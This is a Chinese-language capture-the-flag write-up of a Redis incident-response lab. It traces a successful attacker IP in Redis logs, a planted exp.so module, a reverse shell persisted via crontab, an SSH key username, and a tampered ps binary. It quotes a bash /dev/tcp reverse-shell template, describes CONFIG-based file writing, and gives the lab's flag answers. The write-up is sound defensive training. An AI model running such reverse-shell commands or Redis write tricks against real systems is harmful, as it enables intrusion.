【玄机】第二章日志分析-redis应急响应

攻击 Redis 的手法
1. 未授权访问
-
缺乏身份验证:Redis 默认不要求身份验证,攻击者可以直接连接到 Redis 实例并执行任意命令。
-
开放的网络接口:如果 Redis 监听在公共 IP 地址上,攻击者可以通过网络远程访问 Redis 实例。
2. 远程代码执行
-
CONFIG 命令:攻击者可以利用未授权访问,通过 CONFIG 命令修改配置,例如设置
dir和dbfilename来写入恶意文件,从而在目标服务器上执行代码。 -
模块加载:Redis 允许加载自定义模块,如果没有进行适当的访问控制,攻击者可以加载恶意模块并执行任意代码。
3. 持久化攻击
-
持久化文件劫持:攻击者可以修改 Redis 的持久化配置(如 RDB 或 AOF 文件),然后写入恶意数据,当 Redis 重启时执行恶意操作。
-
恶意数据注入:通过注入恶意数据到持久化文件中,攻击者可以在数据恢复时触发恶意行为。
4. 拒绝服务攻击(DoS)
-
资源耗尽:通过发送大量请求或者存储大量数据,攻击者可以耗尽 Redis 服务器的内存或 CPU 资源,导致服务不可用。
-
大键值操作:操作超大键值(如大列表或集合)可能会导致 Redis 性能下降,甚至崩溃。
5. 数据篡改和泄露
-
数据窃取:未经授权的访问可以导致敏感数据的泄露。
-
数据篡改:攻击者可以修改或删除关键数据,影响系统的正常运行。
第一题

让我们分析成功攻击的ip有多少,那我们直接去日志看看
cd /var/log/

查看一下日志

可以看到 是5.0.1版本的
5.0.1版本最大的漏洞是未授权访问
读取和修改数据:攻击者可以读取 Redis 数据库中的所有数据,甚至可以删除或修改数据。
远程代码执行:攻击者可以利用 CONFIG 命令修改配置文件来写入恶意代码,从而在目标服务器上执行任意代码。
持久化恶意代码:通过修改 Redis 的持久化配置,攻击者可以在服务器重启时执行恶意操作。
我们接着分析下去

可以看到192.168.100.13一直在访问,不过一直是失败

看到192.168.100.20访问成功了
用命令筛选一下看是不是最对的
cat /var/log/redis.log | awk '{print$10}' | sort | uniq -c

可以看到192.168.100.13虽然是最多,但是他没有访问成功
所以第一题的答案是
flag{192.168.100.20}
第二题
要植入就要攻击成功
那么直接看192.168.100.20IP后面的日志

发现一个exp.so文件
我们用find定位一下
find . -name 'exp.so'

题目说到了文件里面的flag,所以我们打开看看

可以看到在一堆二进制中有flag,这里可以将文件导出用010去分析或者记事本
第二题的答案
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
第三题
反弹 shell(Reverse Shell)是一种常见的网络攻击技术,攻击者通过让目标机器主动连接到攻击者的控制服务器,从而在目标机器上获取一个远程 shell 会话。与传统的正向 shell(攻击者主动连接目标机器)不同,反弹 shell 的特点是目标机器主动发起连接,通常用于绕过防火墙或网络限制。
查找反弹 shell 的线索
反弹 shell 通常通过以下方式实现:
-
定时任务(cron job):黑客可能会在目标机器上设置定时任务,定期执行反弹 shell 的命令。
-
启动脚本:黑客可能会修改系统的启动脚本(如
/etc/rc.local),在系统启动时执行反弹 shell。 -
恶意文件:黑客可能会在目标机器上放置恶意脚本或程序,用于执行反弹 shell。
检查定时任务(cron job)
定时任务是黑客常用的持久化攻击手段之一。通过检查当前用户的定时任务,可能会发现黑客设置的反弹 shell 命令。
步骤:
-
使用
crontab -l命令查看当前用户的定时任务:crontab -l
-
如果输出中包含可疑的命令(如连接到某个 IP 地址的反弹 shell 命令),则可能是黑客设置的定时任务。
-
-
检查系统范围的定时任务:
-
查看
/etc/crontab文件:cat /etc/crontab
-
查看
/etc/cron.d/目录下的文件:ls /etc/cron.d/ cat /etc/cron.d/<可疑文件>
-
-
查找反弹 shell 的 IP 地址:
-
在定时任务中查找类似以下的命令:
/bin/bash -c '/bin/bash -i >& /dev/tcp/<IP地址>/<端口> 0>&1'
-
其中
<IP地址>就是黑客的控制服务器 IP,即题目要求的 flag。
-
其他可能的线索
如果定时任务中没有找到线索,可以检查以下内容:
-
启动脚本:
-
检查
/etc/rc.local、/etc/init.d/等启动脚本,查找可疑命令。
-
-
网络连接:
-
使用
netstat或ss命令查看当前的网络连接,查找可疑的 IP 地址:bash
复制
netstat -antp | grep ESTABLISHED
-
-
进程列表:
-
使用
ps aux命令查看当前运行的进程,查找可疑的反弹 shell 进程。
-
这里我们直接用crontab -l 进行排查看看

可以看到192.168.100.13正在用7777端口
这样第三题的答案就出来了
flag{192.168.100.13}
第四题

题目提到了ssh登录,ssh登录一般都会有用户名
我们查看一下ssh的密钥文件
得到用户名
xj-test-user
题目中还提到要关键词,既然是个用户我们直接百度一下看
果然,在github中有


第四题的答案就出来了
xj-test-user-wow-you-find-flag
第五题

1. 审查系统日志
-
目标:查找异常登录、操作或攻击痕迹。
-
方法:
-
检查认证日志(如
/var/log/auth.log或/var/log/secure):cat /var/log/auth.log | grep "Failed password"
查找失败的登录尝试,尤其是来自未知 IP 或用户的记录。
-
检查系统日志(如
/var/log/syslog或/var/log/messages):cat /var/log/syslog | grep "error"
查找异常错误或警告信息。
-
2. 审查命令历史
-
目标:检查是否有可疑的命令被执行。
-
方法:
-
查看当前用户的命令历史:
history
-
检查其他用户的命令历史(需 root 权限):
cat /home/<用户名>/.bash_history
-
3. 检查文件完整性
-
目标:确认系统文件是否被篡改。
-
方法:
-
使用工具(如 Tripwire、AIDE)检查文件完整性:
aide --check
-
手动检查关键文件的哈希值:
sha256sum /bin/ls
与已知的安全哈希值对比。
-
4. 分析系统文件的时间戳和哈希值
-
目标:查找被篡改的文件。
-
方法:
-
检查文件的修改时间:
stat /bin/ls
查找异常的时间戳(如近期被修改的系统文件)。
-
计算文件的哈希值并对比:
sha256sum /bin/ls
-
5. 检查系统路径中的命令
-
目标:确保关键命令未被替换或篡改。
-
方法:
-
检查
/bin、/sbin、/usr/bin等目录下的文件:ls -l /bin/ls
查找异常的文件大小或权限。
-
使用
which和whereis查找命令的路径:which ls whereis ls
-
6. 扫描系统和进程
-
目标:查找已知的后门、木马或恶意程序。
-
方法:
-
使用
rkhunter扫描:rkhunter --check
-
使用
chkrootkit扫描:chkrootkit
-
检查当前运行的进程:
ps aux | grep可疑进程
-
7. 分析网络流量和连接
-
目标:查找异常的网络活动。
-
方法:
-
使用
netstat查看网络连接:netstat -antp
查找未知的 IP 或端口。
-
使用
tcpdump抓包分析:tcpdump -i eth0 -n
-
使用
Wireshark进行深度分析(需 GUI 环境)。
-
8. 检查定时任务和启动项
-
目标:查找恶意脚本或命令。
-
方法:
-
查看当前用户的定时任务:
crontab -l
-
查看系统范围的定时任务:
cat /etc/crontab ls /etc/cron.d/
-
检查启动项(如
/etc/init.d、/etc/systemd/system):ls /etc/init.d/ systemctl list-unit-files
-
9. 审查应用程序日志
-
目标:查找应用程序的异常活动。
-
方法:
-
检查 Web 服务器日志(如 Apache、Nginx):
cat /var/log/apache2/access.log | grep "POST"
-
检查数据库日志(如 MySQL、PostgreSQL):
cat /var/log/mysql/error.log
-
10. 使用安全工具和服务
-
目标:全面分析安全事件。
-
方法:
-
使用 SIEM(安全信息与事件管理系统)工具(如 Splunk、ELK Stack)集中分析日志。
-
使用 SOC(安全运营中心)服务进行实时监控和响应。
-
我们一个一个试过去

在系统路径下发现有个异常

可以看到,ps命令的权限为-rwxrwxrwx,这表示该命令具有读取、写入和执行权限,且对所有用户都是可读写可执行的。
一般情况下,系统命令像ps应该有限制的权限,通常为-rwxr-xr-x(所有者可读写执行,组和其他用户只可读和执行)。权限为-rwxrwxrwx可能被人为更改过。
我们看一下

没有猜错果然有猫腻
这种手工排查比较费神
我查了一下发现可以用命令来找
ls -lt --time=ctime /usr/bin | head -n 10
因为服务器是靶场,并且题目提到了篡改命令,可以通过查找最新修改的10个命令的方式去寻找

就比较方便
这样我们就得到了第五题的答案
flag{c195i2923381905517d818e313792d196}
更多推荐

所有评论(0)